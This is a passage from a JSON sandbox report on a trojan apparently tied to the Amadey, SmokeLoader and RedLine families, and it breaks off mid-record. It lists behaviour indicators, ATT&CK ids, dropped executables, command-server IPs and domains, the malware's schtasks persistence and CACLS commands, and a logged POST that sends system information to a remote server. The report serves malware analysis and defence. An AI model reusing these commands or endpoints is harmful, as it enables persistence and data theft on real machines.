00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: oldplayer.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"oldplayer.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0001\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$50","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"RemoveDirectoryA\" (Indicator: \"RemoveDirectory\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryA\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$51","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"ss41.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$52","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$53","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"ss41.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- Location: [%TEMP%\\ss41.exe]- [targetUID: 00000000-00006580]\n \"oldplayer.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\oldplayer.exe]- [targetUID: 00000000-00006580]\n \"oneetx.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\207aa4515d\\oneetx.exe]- [targetUID: 00000000-00007052]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"Login Data111\" - Location: [%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data111]- [targetUID: 00000000-00006112]\n Dropped file: \"d9e0d364197915c50023ab0820646da3\" - Location: [%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Network\\d9e0d364197915c50023ab0820646da3]- [targetUID: 00000000-00006112]\n Dropped file: \"57C8EDB95DF3F0AD4EE2DC2B8CFD4157\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00006112]\n Dropped file: \"57C8EDB95DF3F0AD4EE2DC2B8CFD4157\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00006112]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"imagd_1_.jpg\" has type \"JPEG image data JFIF standard 1.01 aspect ratio density 1x1 segment length 16 baseline precision 8 1080x1440 components 3\" and extension \"jpg\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"oldplayer.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"oldplayer.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"oldplayer.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"schtasks.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"cacls.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cacls.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"oneetx.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rdata with unusual entropies 7.64254755308","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Dropped file has high entropy (likely encrypted/compressed content)","description":"Dropped file \"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157\" has high entropy 7.943133904811542","origin":"Binary File","mitre_attack_id":"T1027","relevance":5,"id":"binary-60","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"14/90 reputation engines marked \"http://app.nnnaajjjgc.com\" as malicious (15% detection rate)\n 10/90 reputation engines marked \"http://z.nnnaajjjgc.com\" as malicious (11% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"48/70 Antivirus vendors marked sample as malicious (68% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$54","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$55","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"ss41.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- Location: [%TEMP%\\ss41.exe]- [targetUID: 00000000-00006580]\n \"oldplayer.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\oldplayer.exe]- [targetUID: 00000000-00006580]\n \"oneetx.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\207aa4515d\\oneetx.exe]- [targetUID: 00000000-00007052]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\".exe\" wrote 4096 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\oldplayer.exe\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...\n \".exe\" wrote 8192 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\ss41.exe\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"5.42.65.80\"\n \"192.168.243.235\"\n Potential IP \"5.42.65.80\" found in string \"ttp://5.42.65.80/\"\n Potential IP \"5.42.65.80\" found in string \"ttp://5.42.65.80/8bmeVwqx/index.php\"\n Potential IP \"5.42.65.80\" found in string \"http://5.42.65.80/8bmeVwqx/index.php\"\n Potential IP \"5.42.65.80\" found in string \"Host: 5.42.65.80\"\n \"80.65.42.5\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 156.236.72.121 on port 443 is sent without HTTP header\n TCP traffic to 5.42.65.80 on port 80 is sent without HTTP header\n TCP traffic to 154.221.26.108 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - Crypto Library","description":"YARA signature for detecting crypto library used in process \"00000000-00006112\"\n YARA signature for detecting crypto library used in file \"imagd_1_.jpg\"","origin":"YARA Signature","mitre_attack_id":"T1560.002","relevance":5,"id":"yara-125","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"ss41.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"System Destruction","name":"Contains ability to remove directories","description":"RemoveDirectoryA@KERNEL32.DLL at 00000000-00000932-46466-181-00BD5E80","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.004","relevance":3,"id":"stream-109","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\".exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"oldplayer.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"ss41.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"oneetx.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"ss41.exe\" claimed CRC 781624 while the actual is CRC 942627","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$56","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$57","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"82ecd.Trojan.bin\" claims program is from Thu Jan 1 00:00:00 1970","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"\".exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\oldplayer.exe\"\" - (UID: 00000000-00006580)\n \".exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\ss41.exe\"\" - (UID: 00000000-00006580)\n \"oldplayer.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\207aa4515d\\oneetx.exe\"\" - (UID: 00000000-00006156)\n \"oneetx.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\schtasks.exe\" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR \"%TEMP%\\207aa4515d\\one\" - (UID: 00000000-00000932), \"oneetx.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\cmd.exe\" /k echo Y|CACLS \"oneetx.exe\" /P \"idMumCb:N\"&&CACLS \"oneetx.exe\" /P \"idMumCb:R\" /E&&echo Y|CACLS \"..\\\" - (UID: 00000000-00000932)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"48/70 Antivirus vendors marked sample as malicious (68% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"15/69 Antivirus vendors marked dropped file \"ss41.exe\" as malicious (classified as \"AD.Swrort\" with 21% detection rate)\n 57/69 Antivirus vendors marked dropped file \"oldplayer.exe\" as malicious (classified as \"Gen:Variant.Doina\" with 82% detection rate)\n 57/69 Antivirus vendors marked dropped file \"oneetx.exe\" as malicious (classified as \"Gen:Variant.Doina\" with 82% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"57/69 Antivirus vendors marked spawned process \"oldplayer.exe\" (PID: 6156) as malicious (classified as \"Gen:Variant.Doina\" with 82% detection rate)\n 15/69 Antivirus vendors marked spawned process \"ss41.exe\" (PID: 6112) as malicious (classified as \"AD.Swrort\" with 21% detection rate)\n 57/69 Antivirus vendors marked spawned process \"oneetx.exe\" (PID: 932) as malicious (classified as \"Gen:Variant.Doina\" with 82% detection rate)\n 57/69 Antivirus vendors marked spawned process \"oneetx.exe\" (PID: 5192) as malicious (classified as \"Gen:Variant.Doina\" with 82% detection rate)\n 57/69 Antivirus vendors marked spawned process \"oneetx.exe\" (PID: 7488) as malicious (classified as \"Gen:Variant.Doina\" with 82% detection rate)","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\taskschd.dll\" at 73A50000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed at a specific time and date","description":"Process \"schtasks.exe\" with commandline \"/Create /SC MINUTE /MO 1 /TN oneetx.exe /TR \"%TEMP%\\\\207aa4515d\\\\oneetx.exe\" /F\" (UID: 00000000-00002028)","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\".exe\" wrote 4 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\oldplayer.exe\" (Handle: 1208)\n \"oldplayer.exe\" wrote 4 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\207aa4515d\\oneetx.exe\" (Handle: 1584)\n \"oneetx.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\SysWOW64\\schtasks.exe\" (Handle: 1156)\n \"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\SysWOW64\\cacls.exe\" (Handle: 408)\n \"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\SysWOW64\\cacls.exe\" (Handle: 404)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"\"POST /8bmeVwqx/index.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: 5.42.65.80\nContent-Length: 98\nCache-Control: no-cache\" with payload:==> \"id=351455743570&vs=3.83&sd=220a91&os=1&bi=1&ar=1&pc=688s2CXbeRiDCoL&un=idMumCb&dm=&av=13&lv=0&og=1\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$58","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"malicious","category":"System Security","name":"Modifies the access control lists of files","description":"Process \"cacls.exe\" with commandline \"CACLS \"oneetx.exe\" /P \"idMumCb:N\"\" (UID: 00000000-00007052)\n Process \"cacls.exe\" with commandline \"CACLS \"oneetx.exe\" /P \"idMumCb:R\" /E\" (UID: 00000000-00003812)\n Process \"cacls.exe\" with commandline \"CACLS \"..\\\\207aa4515d\" /P \"idMumCb:N\"\" (UID: 00000000-00006044)\n Process \"cacls.exe\" with commandline \"CACLS \"..\\\\207aa4515d\" /P \"idMumCb:R\" /E\" (UID: 00000000-00003520)","origin":"Monitored Target","mitre_attack_id":"T1222.001","relevance":5,"id":"target-12","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtUnmapViewOfSection@NTDLL.DLL at 00000000-00000932-46466-182-00BD2AC0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$59","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]}],"incidents":[{"name":"Spyware","details_count":4,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns a lot of processes"},{"detail":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"Fingerprint","details_count":6,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"},{"detail":"Contains ability to retrieve information about the current system"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Possibly tries to evade analysis by sleeping many times"},{"detail":"Contains ability to check if a debugger is running"},{"detail":"Contains ability to terminate a process"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]}]},"activity":{"stats":{"process_count":14,"spawned_processes_count":14,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":19,"imported_dlls_count":93,"dropped_files_count":0,"extracted_files_count":7,"files_written_count":9,"files_deleted_count":0,"registry_keys_created_count":8,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":8,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":2,"contacted_urls_count":188,"http_requests_count":188},"behavior_tags":["amadeyloader","backdoor","commodity","criminal","downloader","informationstealer","loader","redlinestealer","smokeloader"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"64f27bae39b7b26100010c42","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.FakeAlert","contacted_countries":["RUS","SYC"],"submit_name":"82ecd.Trojan.exe","analysis_start_time":"2023-09-02T00:02:54+00:00","indicators_count":{"informative":170,"suspicious":62,"malicious":16},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"156.236.72.121","port":443,"protocol":"TCP","country":"Seychelles","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"address":"5.42.65.80","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"address":"154.221.26.108","port":80,"protocol":"TCP","country":"Seychelles","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]}],"dns_resolutions":[{"domain":"app.nnnaajjjgc.com","address":"154.221.26.108","ttl":600,"country":"Seychelles","registrar_name":"Xin Net Technology Corporation","registrar_name_servers":"NS11.XINCACHE.COM","registrar_creation_date":"2023-06-28T07:30:32+00:00","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"domain":"z.nnnaajjjgc.com","address":"156.236.72.121","ttl":600,"country":"Seychelles","registrar_name":"Xin Net Technology Corporation","registrar_name_servers":"NS11.XINCACHE.COM","registrar_creation_date":"2023-06-28T07:30:32+00:00","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]}],"http_requests":[{"host":"5.42.65.80","host_ip":"5.42.65.80:80","url":"/8bmeVwqx/index.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /8bmeVwqx/index.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: 5.42.65.80\nContent-Length: 98\nCache-Control: 